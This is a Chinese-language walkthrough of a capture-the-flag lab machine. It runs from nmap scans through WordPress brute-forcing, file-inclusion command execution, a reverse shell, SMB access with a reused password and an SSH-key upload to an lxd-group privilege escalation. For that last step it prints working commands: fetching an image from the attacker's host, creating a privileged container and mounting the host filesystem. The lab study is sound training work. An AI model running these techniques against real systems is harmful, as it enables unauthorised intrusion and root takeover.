信息收集
# Nmap 7.94 scan initiated Thu Nov 23 20:09:06 2023 as: nmap -sn -oN live.nmap 192.168.182.0/24
Nmap scan report for 192.168.182.1
Host is up (0.00018s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.182.2
Host is up (0.00019s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.182.145
Host is up (0.00018s latency).
MAC Address: 00:0C:29:5A:8B:78 (VMware)
Nmap scan report for 192.168.182.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:E1:8D:23 (VMware)
Nmap scan report for 192.168.182.130
Host is up.
# Nmap done at Thu Nov 23 20:09:08 2023 -- 256 IP addresses (5 hosts up) scanned in 1.96 seconds
确定攻击的靶标为192.168.182.145
# Nmap 7.94 scan initiated Thu Nov 23 20:09:23 2023 as: nmap -sT --min-rate 10000 -p- -oN port.nmap 192.168.182.145
Nmap scan report for 192.168.182.145
Host is up (0.0031s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
10123/tcp open unknown
MAC Address: 00:0C:29:5A:8B:78 (VMware)# Nmap done at Thu Nov 23 20:09:26 2023 -- 1 IP address (1 host up) scanned in 2.96 seconds
开放5个端口号!分别是22(ssh)、80(http)、139(netbios-ssn)、445(microsoft-ds)以及10123端口!
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 09:51 CST
Nmap scan report for 192.168.182.145
Host is up (0.00091s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0a:16:3f:c8:1a:7d:ff:f5:7a:66:05:63:76:7c:5a:95 (RSA)
| 256 7f:47:44:cc:d1:c4:b7:54:de:4f:27:f2:39:38:ff:6e (ECDSA)
|_ 256 f5:d3:36:44:43:40:3d:11:9b:d1:a6:24:9f:99:93:f7 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Ubuntu))
|_http-title: HackerCTF
|_http-server-header: Apache/2.4.46 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
10123/tcp open http SimpleHTTPServer 0.6 (Python 3.9.4)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.9.4
MAC Address: 00:0C:29:5A:8B:78 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_nbstat: NetBIOS name: HACKERCTFLAB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.34 seconds
靶标运行在vmware中,操作系统是Ubuntu,22端口的为OpenSSH,版本是8.4p1,80端口是Apache起的http服务,139 445为Samba服务! 10123端口是SimpleHTTPServer。
# Nmap 7.94 scan initiated Thu Nov 23 20:09:48 2023 as: nmap -sT --script=vuln -p22,80,139,445,10123 -oN vuln.nmap 192.168.182.145
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.182.145
Host is up (0.00038s latency).PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.46 (ubuntu)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.46 (ubuntu)'
|_ /server/: Potentially interesting directory w/ listing on 'apache/2.4.46 (ubuntu)'
139/tcp open netbios-ssn
445/tcp open microsoft-ds
10123/tcp open unknown
MAC Address: 00:0C:29:5A:8B:78 (VMware)Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|_smb-vuln-ms10-054: false# Nmap done at Thu Nov 23 20:10:54 2023 -- 1 IP address (1 host up) scanned in 65.34 seconds
80端口上存在三个目录,其中比较重要的就是server目录!其中10123端口上的服务比较特殊~ 优先的突破点还是在80端口上~
渗透测试
首先还是来看80端口上运行的服务:
界面就是如上所示,看看源码里面是否存在什么信息!关于首页上面的英文,大概说了“我们是谁?”和“为什么我们要做这件事情?”
这是一个HACKCTF社区~
首页三个功能点,分别尝试进行了点击,没什么有价值的东西。尝试访问/server目录。同时进行目录的爆破!
发现了gila目录和一个gila的压缩包,下载这个压缩包~(同时注意到这个gila的版本是1.10.9),下载成功后解压,发现这是gila-1.10.9版本的源码:
尝试访问gila:
空白的页面,说明是存在gila的,但是访问不到(难道是没有授权嘛?感觉首页都访问不到~),利用searchsploit搜索了gila,发现该版本的gila,存在RCE!(需要授权)
看看下载下来的gila的源码里面存在什么东西吧!
默认配置文件里面存在数据库的用户名和密码,以及数据库的名字。
目录扫描
上面经过了目录的扫描:
发现存在wp目录,应该就是wordpress!
先利用cewl爬取了wp的相关关键词,然后利用wpscan尝试枚举了wp的用户,并成功的发现了wp的一个用户是admin!
cewl爬取的相关信息:
尝试对wp的登陆界面进行爆破!
失败~ 换一个字典试试~ 尝试wpscan进行密码的破解:
wpscan --url http://192.168.182.145/wp -U admin --passwords /usr/share/wordlists/rockyou.txt
同时利用了爬取的关键字作为了密码进行爆破,均没有成功~
利用wpscan的时候,找到了wordpress的版本是5.8的版本这个版本在5.8.3以下存在sql注入的漏洞!但是还是利用失败了
好抽象啊~ 如果sql注入成功的话,那么也是可以拿到密码的,但是没成功~
利用API Token进行扫描:
找到了一个文本文件包含的漏洞!查看说明文档:
找到exp进行利用:
发现确实存在文件包含漏洞!
10123端口
该端口上存在许多的文件,但是很多文件为空:
比较有价值的文件:
当前的目录是家目录?然后下面有一个upload目录,upload目录下面存在着shell.php文件,但是我们尝试访问便直接下载下来了,因为他是SimpleHTTP起的服务。我们直接进行文件包含。
然后给定cmd的参数的参数值,进行命令的执行!
确实能够执行命令,那么我们可以写反弹shell!
本地起监听!
拿到初始的shell!然后利用python提升bash的交互性!
提权
由于端口信息出现了139 445 SMB协议!
SMB(Server Message Block)服务器消息块协议,用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。一般共享文件夹和打印机使用较多
它是应用层(和表示层)协议,使用C/S架构。
enum4linux工具是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息。
利用enum4linux快速收集相关信息:
enum4linux -a -o 192.168.182.145
-a 枚举所有的消息
-o 收集操作系统相关信息
发现存在两个磁盘和一个IPC链接!其中welcome的介绍是”Welcome to Hackerctf LAB“
利用smbclient进行连接!
smbclient //192.168.182.145/welcome
需要输入root的密码!密码相关的信息,在拿到初始的shell之后,找到了一个数据库的默认账号和密码都是root:
进行密码碰撞!成功登录!
整个思路是这样的:利用smb登录到//192.168.182.145/welcome,然后我们本地创建一个ssh公钥,给这个公钥上传到//192.168.182.145/welcome(登陆上来发现还是jarves的家目录!具有可写的权限),上传到.ssh目录下,命名为authorized_keys~ 然后利用这个公钥进行ssh登录到jarves用户!
利用ssh-keygen创建ssh的公钥
ssh-keygen -b 2048
公钥的key被存储在/root/.ssh/id_rsa.pub!
然后给他修改一个名字,命名为authorized_keys!然后在这个文件的当前目录下,使用smbclient重新登录,登录之后利用put命令,将文件上传!
然后退出之后,利用ssh登录jarves用户!
通过id命令,查看到jarves属于lxd组!
id
cat /etc/group|grep jarves
lxd提权
Docker是一个用于在集中式平台上创建、部署和运行应用程序的开源工具!这使得主机的操作系统通过容器运行具有相同linux内核的应用程序,而不是创建一个完整的虚拟机!
lxc是linux容器的缩写,Linux容器是一种操作系统,用于通过单个Linux内核在受控主机上虚拟运行多个Linux系统。是一种用于操作系统虚拟化的工具。
lxd代表Linux Daemon,他是一个扩展,主要用于指导LXC。
LXD LXC是一个系统级的容器,但是Docker是一个应用程序容器!
首先查看当前用户所属的组:
cat /etc/group | grep jarves
查看容器部署情况:
lxc list
下载alpine:
git clone https://github.com/saghul/lxd-alpine-builder.git
构建:
cd lxd-alpine-builder
./build-alpine
(会生成一个.tar.gz的压缩包)开启一个简单的http服务:
python3 -m http.server 80
目标机器下载刚才生成的压缩包:
wget http://192.168.182.130/alpine-v3.18-x86_64-20231124_1956.tar.gz
使用lxd进行初始化;用lxc命令挂载image:
lxd init
lxc image import ./alpine-v3.18-x86_64-20231124_1956.tar.gz --alias myimage
导入image 重命名为myimage
列出已经存在的image:
lxc image list
lxc init 来初始化image(可以填别名,也可以填指纹),也就是alpine系统,并创建ignite账户,通过c参数来配置安全提升策略为true。代表用户ignite可以申请高级权限。
lxc init myimage ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/sh
lxc config device 命令用来配置设备,add吧mydevice设备添加到了test账户中,disk是磁盘挂载,把本机/目录挂载到容器的/mnt/root下,recursive即是否递归,代表是否将所有子目录及所有文件进行挂载;
进入mnt/root目录,这个目录包含所有宿主机文件;
替换掉authorized_keys文件!
最后利用ssh远程登陆到root账户上!